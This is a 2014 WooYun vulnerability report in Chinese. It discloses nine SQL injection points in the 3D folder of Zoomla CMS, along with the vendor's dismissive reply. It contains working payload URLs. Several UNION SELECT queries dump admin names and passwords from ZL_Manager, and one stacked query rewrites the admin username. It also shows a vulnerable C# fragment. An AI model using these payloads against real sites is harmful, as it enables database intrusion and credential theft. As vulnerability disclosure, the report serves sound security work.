漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-060149
漏洞标题:逐浪CMS一个文件夹9款注入姿势影响版本cms4.1 CMS2_x1.5 CMS6.0 CMS2_x1.4正式版
相关厂商:逐浪CMS
漏洞作者: Damo
提交时间:2014-05-10 22:49
修复时间:2014-08-05 22:50
公开时间:2014-08-05 22:50
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-05-10: 细节已通知厂商并且等待厂商处理中
2014-05-11: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-05: 细节向核心白帽子及相关领域专家公开
2014-07-15: 细节向普通白帽子公开
2014-07-25: 细节向实习白帽子公开
2014-08-05: 细节向公众公开
简要描述:
影响版本Zoomla!cms4.1源码Zoomla!CMS2_x1.5源码 Zoomla!CMS6.0 Zoomla!逐浪CMS2_x1.4正式版
此文件夹注入点蛮多的 厂商需努力呀
详细说明:
文件目录3D
注入1
文件/3D/1sMail.aspx 问题阐述 ShopID
测试:
代码片段如下
虽然 Select_Where方法调用的存储过程进行了参数化 但是咱们看如下代码片段
看存储过程 PR_Duser_Select_Where
显然程序中的参数化没起到任何作用
结果如下图
注:此处还有一个地方有注入(未利用)就是页面的DropDownList3下拉菜单的下拉事件
代码片段如下
这里直接获取的this.DropDownList3.SelectedValue的值此值可在UI中修改 GetABC方法代码片段如下
虽然页面中未显示DropDownList3这个控件页未成功利用 但是这个地方代码 希望官方还是能修改一下
注入2:
文件/3D/ShowForm.aspx 问题参数shopid
测试:
如下代码片段
还是Select_Where方法出现问题
还是和第一个注入过程是一样的调取的存储过程也是一样的
注入3:
文件 3d/InDoor.aspx 也就是showform。aspx中嵌入的的页面
http://192.168.10.19:9992/3d/InDoor.aspx?ShopID=100;update/**/ ZL_Manager set AdminName='WooyunDamo' where/**/ AdminID=1--
同样执行的同一个存储过程
结果如下图
注入4
文件:3d/InsertContext.aspx?type=Suser
个人原因 没有继续 但是看代码
YY的想法:测试方式 form提交 然后转码 base.Server.UrlDecode(text); 然后FromBase64String(text);解码 然后解码之后的数据应该是介个样子的
理论数据 aaaa$bbbbb$ccccc$ddddd 然后代码过程则是根据$进行截取并且去除$ 那么这里控制array[1] 页就是bbbbb的值即可完成注入
调取的还是原来的方法 还是熟悉的存储过程
小弟本地未亲测 但是这个地方代码 希望官方还是能修改一下
注入5:
文件3D/showBgRe.aspx
http://192.168.10.19:9992/3d/showBgRe.aspx?scen=100&ShopID=100 union/**/ all select/**/ STUFF(adminPassword , 1, 0, AdminName),2,'3','4','5','6','7','8','9','aa',11,GETDATE(),13,14,15,GETDATE(),17,18,GETDATE(),20,'21','22' FROM ZL_Manager
还是原来的方法 还是熟悉的存储过程
结果如下图
注入6:
文件 3D/ShowChat.aspx
http://192.168.10.19:9992/3d/ShowChat.aspx?type=2&uid=100 union/**/ all select/**/ STUFF(adminPassword , 1, 0, AdminName),2,'3','4','5','6','7','8','9','aa',11,GETDATE(),13,14,15,GETDATE(),17,18,GETDATE(),20,'21','22' FROM ZL_Manager
还是原来的方法 还是熟悉的存储过程
结果如下图
注入7:
文件3D/ShowInfo.aspx 问题参数 ShopID
http://192.168.10.19:9992/3d/ShowInfo.aspx?ShopID=100 union/**/ all select/**/ STUFF(adminPassword , 1, 0, AdminName),2,'3','4','5','6','7','8','9','aa',11,GETDATE(),13,14,15,GETDATE(),17,18,GETDATE(),20,'21','22' FROM ZL_Manager
还是原来的方法 还是熟悉的存储过程
图只是用来显示密码用的给WOOYUN省空间就不上传了
注入8:
文件3D/ShowNote.aspx 问题参数 ShopID
http://192.168.10.19:9992/3d/ShowNote.aspx?ShopID=100 union/**/ all select/**/ STUFF(adminPassword , 1, 0, AdminName),2,'3','4','5','6','7','8','9','aa',11,GETDATE(),13,14,15,GETDATE(),17,18,GETDATE(),20,'21','22' FROM ZL_Manager
还是原来的方法 还是熟悉的存储过程
图只是用来显示密码用的给WOOYUN省空间就不上传了
注入9:
文件3D/UpdateCoordinate.aspx
代码片段如下
if (base.Request.QueryString["type"] == "shopuser")
{
this.ShopUser(base.Request.Form.ToString());
this.UpdateDate();
}
private void ShopUser(string shopid)
{
if (shopid != "")
{
DataTable dataTable = this.bds.Select_Where(" D_ShopID=" + shopid, " D_ShowUserid, D_Remark", "");
string str = "false";
StringBuilder stringBuilder = new StringBuilder();
if (dataTable.Rows.Count > 0)
{
.........
}
}
}
YY想法: 问题方法Select_Where 存储过程 PR_DShowUser_Select_Where 利用方法还是一样 不过这次注意参数是Request.Form.ToString()
漏洞证明:
已经在上图了
修复方案:
解决方案 从方法入手(参数化) 存储过程入手(显然贵司这个地方出了问题)
从人猿入手 照屁股使劲打
版权声明:转载请注明来源 Damo@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-08-05 22:50
厂商回复:
感谢反馈,此模板为特别订制模块,本不应在发布之列,亦非开放模块,遂决定剔除之。
最新状态:
暂无